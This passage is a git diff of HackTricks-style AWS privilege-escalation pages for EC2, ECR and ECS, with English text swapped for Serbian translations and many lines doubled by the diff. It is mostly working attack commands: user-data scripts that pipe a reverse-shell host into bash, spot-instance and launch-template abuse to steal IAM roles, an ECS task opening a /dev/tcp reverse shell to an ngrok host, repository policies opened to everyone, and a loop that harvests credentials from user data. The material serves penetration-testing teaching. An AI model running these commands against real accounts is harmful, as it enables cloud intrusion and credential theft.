--security-group-ids <sg-id>
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
--security-group-ids <sg-id>
|
||||
```
|
||||
- **Pristup putem rev shell-a u korisničkim podacima**
|
||||
|
||||
- **Access via rev shell in user data**
|
||||
|
||||
You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way.
|
||||
|
||||
Možete pokrenuti novu instancu koristeći **korisničke podatke** (`--user-data`) koji će vam poslati **rev shell**. Na ovaj način ne morate da specificirate bezbednosnu grupu.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=E<instance-profile-name> \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
--iam-instance-profile Name=E<instance-profile-name> \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
|
||||
Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:
|
||||
Budite oprezni sa GuradDuty ako koristite kredencijale IAM uloge van instance:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles.
|
||||
**Potencijalni uticaj:** Direktno privesc na bilo koju EC2 ulogu povezanu sa postojećim profilima instance.
|
||||
|
||||
#### Privesc to ECS
|
||||
|
||||
With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**.
|
||||
#### Privesc na ECS
|
||||
|
||||
Sa ovim skupom dozvola mogli biste takođe **napraviti EC2 instancu i registrovati je unutar ECS klastera**. Na ovaj način, ECS **usluge** će biti **pokrenute** unutar **EC2 instance** na kojoj imate pristup, a zatim možete prodrijeti u te usluge (docker kontejneri) i **ukrasti njihove ECS uloge povezane**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
--instance-type t2.micro \
|
||||
--iam-instance-profile <ECS_role> \
|
||||
--count 1 --key-name pwned \
|
||||
--user-data "file:///tmp/asd.sh"
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
--instance-type t2.micro \
|
||||
--iam-instance-profile <ECS_role> \
|
||||
--count 1 --key-name pwned \
|
||||
--user-data "file:///tmp/asd.sh"
|
||||
|
||||
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
|
||||
# The EC2 instance profile needs basic ECS access
|
||||
@@ -64,22 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
|
||||
To learn how to **force ECS services to be run** in this new EC2 instance check:
|
||||
Da biste naučili kako da **naterate ECS usluge da se pokreću** na ovoj novoj EC2 instanci, proverite:
|
||||
|
||||
{{#ref}}
|
||||
aws-ecs-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
|
||||
Ako **ne možete da kreirate novu instancu** ali imate dozvolu `ecs:RegisterContainerInstance`, možda ćete moći da registrujete instancu unutar klastera i izvršite komentarisani napad.
|
||||
|
||||
**Potential Impact:** Direct privesc to ECS roles attached to tasks.
|
||||
**Potencijalni uticaj:** Direktno privesc na ECS uloge povezane sa zadacima.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\
|
||||
As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
|
||||
Slično prethodnom scenariju, napadač sa ovim dozvolama mogao bi da **promeni IAM ulogu kompromitovane instance** kako bi mogao da ukrade nove akreditive.\
|
||||
Pošto profil instance može imati samo 1 ulogu, ako profil instance **već ima ulogu** (uobičajen slučaj), takođe će vam biti potrebna **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -87,60 +80,50 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Ako **profil instance ima ulogu** i napadač **ne može da je ukloni**, postoji još jedno rešenje. Može **pronaći** **profil instance bez uloge** ili **napraviti novi** (`iam:CreateInstanceProfile`), **dodati** **ulogu** tom **profilu instance** (kao što je ranije objašnjeno), i **povezati profil instance** sa kompromitovanom i**nstancom:**
|
||||
|
||||
If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:**
|
||||
|
||||
- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \*
|
||||
|
||||
- Ako instanca **nema nijedan profil** instance (`ec2:AssociateIamInstanceProfile`) \*
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
|
||||
**Potencijalni Uticaj:** Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i imate dodatne dozvole ili specifičan status profila instanci).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.
|
||||
|
||||
- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \*
|
||||
Sa ovim dozvolama moguće je promeniti profil instanci povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade akreditive za više uloga profila instanci menjajući onaj koji je povezan sa njom.
|
||||
|
||||
- Ako **ima profil instanci**, možete **ukloniti** profil instanci (`ec2:DisassociateIamInstanceProfile`) i **povezati** ga \*
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
|
||||
- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \*
|
||||
|
||||
- ili **zameni** **profil instance** kompromitovane instance (`ec2:ReplaceIamInstanceProfileAssociation`). \*
|
||||
````
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
````
|
||||
|
||||
**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
|
||||
**Potencijalni uticaj:** Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\
|
||||
Once the instance is run, he can **steal the IAM role**.
|
||||
|
||||
Napadač sa dozvolama **`ec2:RequestSpotInstances` i `iam:PassRole`** može **zatražiti** **Spot Instancu** sa **priključenom EC2 ulogom** i **rev shell** u **korisničkim podacima**.\
|
||||
Kada se instanca pokrene, može **ukrasti IAM ulogu**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
' | base64)
|
||||
|
||||
aws ec2 request-spot-instances \
|
||||
--instance-count 1 \
|
||||
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
|
||||
--instance-count 1 \
|
||||
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
|
||||
```
|
||||
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
An attacker with the **`ec2:ModifyInstanceAttribute`** can modify the instances attributes. Among them, he can **change the user data**, which implies that he can make the instance **run arbitrary data.** Which can be used to get a **rev shell to the EC2 instance**.
|
||||
|
||||
Note that the attributes can only be **modified while the instance is stopped**, so the **permissions** **`ec2:StopInstances`** and **`ec2:StartInstances`**.
|
||||
Napadač sa **`ec2:ModifyInstanceAttribute`** može da menja atribute instanci. Među njima, može da **promeni korisničke podatke**, što podrazumeva da može da natera instancu da **izvrši proizvoljne podatke.** To se može iskoristiti za dobijanje **rev shell-a na EC2 instanci**.
|
||||
|
||||
Napomena: Atributi se mogu **menjati samo dok je instanca zaustavljena**, tako da su potrebne **dozvole** **`ec2:StopInstances`** i **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -171,125 +154,110 @@ printf $TEXT | base64 > "$TEXT_PATH"
|
||||
aws ec2 stop-instances --instance-ids $INSTANCE_ID
|
||||
|
||||
aws ec2 modify-instance-attribute \
|
||||
--instance-id="$INSTANCE_ID" \
|
||||
--attribute userData \
|
||||
--value file://$TEXT_PATH
|
||||
--instance-id="$INSTANCE_ID" \
|
||||
--attribute userData \
|
||||
--value file://$TEXT_PATH
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to any EC2 IAM Role attached to a created instance.
|
||||
**Potencijalni uticaj:** Direktno privesc na bilo koju EC2 IAM ulogu povezanu sa kreiranom instancom.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell.
|
||||
|
||||
Napadač sa dozvolama **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** može da kreira **novu verziju Launch Template-a** sa **rev shell-om u** **korisničkim podacima** i **bilo kojom EC2 IAM ulogom na njemu**, promeniti podrazumevanu verziju, i **bilo koja Autoscaler grupa** **koja koristi** taj **Launch Template** koji je **konfiguran** da koristi **najnoviju** ili **podrazumevanu verziju** će **ponovo pokrenuti instance** koristeći taj template i izvršiće rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
' | base64)
|
||||
|
||||
aws ec2 create-launch-template-version \
|
||||
--launch-template-name bad_template \
|
||||
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
|
||||
--launch-template-name bad_template \
|
||||
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
|
||||
|
||||
aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to a different EC2 role.
|
||||
**Potencijalni uticaj:** Direktno privesc na drugu EC2 ulogu.
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
An attacker with the permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** can **create a Launch Configuration** with an **IAM Role** and a **rev shell** inside the **user data**, then **create an autoscaling group** from that config and wait for the rev shell to **steal the IAM Role**.
|
||||
|
||||
Napadač sa dozvolama **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** može **napraviti Launch Configuration** sa **IAM Ulogom** i **rev shell** unutar **korisničkih podataka**, zatim **napraviti autoscaling grupu** iz te konfiguracije i čekati da rev shell **ukrade IAM Ulogu**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
--image-id ami-0c1bc246476a5572b \
|
||||
--instance-type t3.micro \
|
||||
--iam-instance-profile EC2-CloudWatch-Agent-Role \
|
||||
--user-data "$REV"
|
||||
--launch-configuration-name bad_config \
|
||||
--image-id ami-0c1bc246476a5572b \
|
||||
--instance-type t3.micro \
|
||||
--iam-instance-profile EC2-CloudWatch-Agent-Role \
|
||||
--user-data "$REV"
|
||||
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--auto-scaling-group-name bad_auto \
|
||||
--min-size 1 --max-size 1 \
|
||||
--launch-configuration-name bad_config \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
--auto-scaling-group-name bad_auto \
|
||||
--min-size 1 --max-size 1 \
|
||||
--launch-configuration-name bad_config \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to a different EC2 role.
|
||||
**Potencijalni uticaj:** Direktno privesc na drugu EC2 ulogu.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc).
|
||||
Skup dozvola **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nije dovoljan za eskalaciju** privilegija na IAM ulogu jer je za povezivanje uloge navedene u Launch Configuration ili u Launch Template **potrebno dozvola `iam:PassRole` i `ec2:RunInstances`** (što je poznat privesc).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
An attacker with the permission **`ec2-instance-connect:SendSSHPublicKey`** can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges.
|
||||
|
||||
Napadač sa dozvolom **`ec2-instance-connect:SendSSHPublicKey`** može dodati ssh ključ korisniku i koristiti ga za pristup (ako ima ssh pristup instanci) ili za eskalaciju privilegija.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances.
|
||||
**Potencijalni uticaj:** Direktno privesc do EC2 IAM uloga povezanih sa aktivnim instancama.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** can **add an ssh key to a serial connection**. If the serial is not enable, the attacker needs the permission **`ec2:EnableSerialConsoleAccess` to enable it**.
|
||||
|
||||
In order to connect to the serial port you also **need to know the username and password of a user** inside the machine.
|
||||
Napadač sa dozvolom **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** može **dodati ssh ključ na serijsku vezu**. Ako serijska veza nije omogućena, napadač treba dozvolu **`ec2:EnableSerialConsoleAccess` da je omogući**.
|
||||
|
||||
Da biste se povezali na serijski port, takođe **morate znati korisničko ime i lozinku korisnika** unutar mašine.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--serial-port 0 \
|
||||
--region "eu-west-1" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--serial-port 0 \
|
||||
--region "eu-west-1" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Ovaj način nije previše koristan za privesc jer je potrebno znati korisničko ime i lozinku da bi se iskoristio.
|
||||
|
||||
This way isn't that useful to privesc as you need to know a username and password to exploit it.
|
||||
|
||||
**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances.
|
||||
**Potencijalni uticaj:** (Veoma neprovođen) Direktan privesc na EC2 IAM uloge povezane sa aktivnim instancama.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates:
|
||||
|
||||
Pošto launch šabloni imaju verzionisanje, napadač sa **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** dozvolama mogao bi da iskoristi ovo da otkrije osetljive informacije, kao što su akreditivi prisutni u korisničkim podacima. Da bi to postigao, sledeći skript prolazi kroz sve verzije dostupnih launch šablona:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
echo "[*] Analyzing $i"
|
||||
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
|
||||
do
|
||||
echo "VersionNumber: $version"
|
||||
echo "$userdata" | base64 -d
|
||||
echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
echo "[*] Analyzing $i"
|
||||
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
|
||||
do
|
||||
echo "VersionNumber: $version"
|
||||
echo "$userdata" | base64 -d
|
||||
echo
|
||||
done | grep -iE "aws_|password|token|api"
|
||||
done
|
||||
```
|
||||
U gornjim komandama, iako specificiramo određene obrasce (`aws_|password|token|api`), možete koristiti drugačiji regex za pretragu drugih tipova osetljivih informacija.
|
||||
|
||||
In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information.
|
||||
Pretpostavljajući da pronađemo `aws_access_key_id` i `aws_secret_access_key`, možemo koristiti te akreditive za autentifikaciju na AWS.
|
||||
|
||||
Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.
|
||||
**Potencijalni uticaj:** Direktno eskaliranje privilegija na IAM korisnika(e).
|
||||
|
||||
**Potential Impact:** Direct privilege escalation to IAM user(s).
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,21 +6,21 @@
|
||||
|
||||
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
|
||||
|
||||
An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images.
|
||||
Napadač sa **`ecr:GetAuthorizationToken`** i **`ecr:BatchGetImage`** može da se prijavi na ECR i preuzme slike.
|
||||
|
||||
For more info on how to download images:
|
||||
Za više informacija o tome kako preuzeti slike:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-ecr-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
|
||||
**Potencijalni uticaj:** Indirektno eskaliranje privilegija presretanjem osetljivih informacija u saobraćaju.
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
|
||||
Napadač sa svim tim dozvolama **može da se prijavi na ECR i otpremi slike**. Ovo može biti korisno za eskalaciju privilegija na druge okruženja gde se te slike koriste.
|
||||
|
||||
To learn how to upload a new image/update one, check:
|
||||
Da biste saznali kako da otpremite novu sliku/izmenite jednu, proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-eks-enum.md
|
||||
@@ -28,85 +28,73 @@ To learn how to upload a new image/update one, check:
|
||||
|
||||
### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
|
||||
|
||||
Like the previous section, but for public repositories.
|
||||
Kao u prethodnom odeljku, ali za javne repozitorijume.
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\
|
||||
For example, in this example read access is given to everyone.
|
||||
|
||||
Napadač sa ovom dozvolom može **promeniti** **politiku** **repozitorijuma** kako bi sebi (ili čak svima) dodelio **pristup za čitanje/pisanje**.\
|
||||
Na primer, u ovom primeru pristup za čitanje je dat svima.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
|
||||
Contents of `my-policy.json`:
|
||||
|
||||
Sadržaj `my-policy.json`:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "allow public pull",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "allow public pull",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
Like the previoous section, but for public repositories.\
|
||||
An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges.
|
||||
|
||||
Kao u prethodnom odeljku, ali za javne repozitorijume.\
|
||||
Napadač može **izmeniti politiku repozitorijuma** javnog ECR repozitorijuma kako bi omogućio neovlašćen javni pristup ili da eskalira svoje privilegije.
|
||||
```bash
|
||||
bashCopy code# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "MaliciousPublicRepoPolicy",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"ecr-public:GetDownloadUrlForLayer",
|
||||
"ecr-public:BatchGetImage",
|
||||
"ecr-public:BatchCheckLayerAvailability",
|
||||
"ecr-public:PutImage",
|
||||
"ecr-public:InitiateLayerUpload",
|
||||
"ecr-public:UploadLayerPart",
|
||||
"ecr-public:CompleteLayerUpload",
|
||||
"ecr-public:DeleteRepositoryPolicy"
|
||||
]
|
||||
}
|
||||
]
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "MaliciousPublicRepoPolicy",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"ecr-public:GetDownloadUrlForLayer",
|
||||
"ecr-public:BatchGetImage",
|
||||
"ecr-public:BatchCheckLayerAvailability",
|
||||
"ecr-public:PutImage",
|
||||
"ecr-public:InitiateLayerUpload",
|
||||
"ecr-public:UploadLayerPart",
|
||||
"ecr-public:CompleteLayerUpload",
|
||||
"ecr-public:DeleteRepositoryPolicy"
|
||||
]
|
||||
}
|
||||
]
|
||||
}' > malicious_public_repo_policy.json
|
||||
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images.
|
||||
**Potencijalni uticaj**: Neovlašćen javni pristup ECR javnom repozitorijumu, što omogućava bilo kojem korisniku da postavlja, preuzima ili briše slike.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**.
|
||||
|
||||
Napadač sa ovom dozvolom mogao bi **promeniti** **politiku repozitorijuma** kako bi sebi, svom nalogu (ili čak svima) dodelio **pristup za čitanje/pisanje**.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
More **info about ECS** in:
|
||||
Više **informacija o ECS** u:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
@@ -12,185 +12,173 @@ More **info about ECS** in:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
An attacker abusing the `iam:PassRole`, `ecs:RegisterTaskDefinition` and `ecs:RunTask` permission in ECS can **generate a new task definition** with a **malicious container** that steals the metadata credentials and **run it**.
|
||||
|
||||
Napadač koji zloupotrebljava dozvolu `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade metapodatke akreditiva i **pokrenuti ga**.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 --memory 512\
|
||||
--requires-compatibilities "[\"FARGATE\"]" \
|
||||
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
|
||||
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 --memory 512\
|
||||
--requires-compatibilities "[\"FARGATE\"]" \
|
||||
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
|
||||
|
||||
# Run task definition
|
||||
aws ecs run-task --task-definition iam_exfiltration \
|
||||
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
|
||||
--launch-type FARGATE \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
|
||||
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
|
||||
--launch-type FARGATE \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
|
||||
|
||||
# Delete task definition
|
||||
